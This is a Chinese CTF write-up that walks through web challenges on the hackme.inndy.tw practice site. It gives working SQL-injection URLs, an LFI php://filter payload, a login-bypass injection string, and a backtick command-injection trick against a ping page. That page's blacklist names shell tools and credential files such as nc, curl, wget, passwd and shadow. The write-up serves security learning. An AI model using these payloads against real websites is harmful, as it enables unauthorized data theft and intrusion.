1. 程式人生 > 其它 >hackme.inndy.tw的19道web題解(上)

hackme.inndy.tw的19道web題解(上)

目錄

  • 寫在前面...
  • hide and seek.
  • guestbook.
  • LFI
  • .homepage.
  • ping.
  • scoreboard.
  • login as admin 0
  • 待續...

寫在前面

最近發現了一個比較有趣的ctf-oj,給出連結

https://hackme.inndy.tw/

裡面有不少web題,我這裡因為依照出題人的要求:

本次文章不會直接給出flag,但是會有詳細的分析和攻擊指令碼

0x01 hide and seek

檢視原始碼即可

0x02 guestbook

簡單注入

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,database(),4 -- 1

可以得到資料庫名guestbook

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='guestbook' limit 0,1),4 -- 1

得到表名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='flag' limit 1,1),4 -- 1

得到欄位名flag

https://hackme.inndy.tw/gb/?mod=read&id=-1 union select 1,2,(select flag from flag limit 1,1),4 -- 1

即可拿到flag

0x03 LFI

隨便點擊出現:

https://hackme.inndy.tw/lfi/?page=pages/index

根據題目名可以知道是讀檔案

所以讀:

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/flag

得到

php

Can you read the flag<?php require('config.php'); ?>?

再讀

https://hackme.inndy.tw/lfi/?page=php://filter/read=convert.base64-encode/resource=pages/config

即可

0x04 homepage

注意原始碼151行

<script src="cute.js"></script>

跟進

https://hackme.inndy.tw/cute.js

發現是aaencode

解密得到二維碼,掃描即可

0x05 ping

發現黑名單

php

$blacklist = [
            'flag', 'cat', 'nc', 'sh', 'cp', 'touch', 'mv', 'rm', 'ps', 'top', 'sleep', 'sed',
            'apt', 'yum', 'curl', 'wget', 'perl', 'python', 'zip', 'tar', 'php', 'ruby', 'kill',
            'passwd', 'shadow', 'root',
            'z',
            'dir', 'dd', 'df', 'du', 'free', 'tempfile', 'touch', 'tee', 'sha', 'x64', 'g',
            'xargs', 'PATH',
            '$0', 'proc',
            '/', '&', '|', '>', '<', ';', '"', ''', '\', "n"
        ];

發現沒有過濾反引號

嘗試反引號ls反引號

可以得到

ping: unknown host flag.php

index.php

發現sort沒有過濾,並且利用?通配

反引號sort ????????反引號

即可

0x06 scoreboard

抓包發現http頭裡的x-flag有flag

0x07 login as admin 0

注意到過濾

php

function safe_filter($str)
{
    $strl = strtolower($str);
    if (strstr($strl, 'or 1=1') || strstr($strl, 'drop') ||
        strstr($strl, 'update') || strstr($strl, 'delete')
    ) {
        return '';
    }
    return str_replace("'", "\'", $str);
}

最後將單引號變成\'

所以容易構造payload:

username = admin' || 1=1#

password = 1

進入的是guest,所以admin應該是第二行

所以payload:

username = admin' || 1=1 limit 1,1#

password = 1

得到flag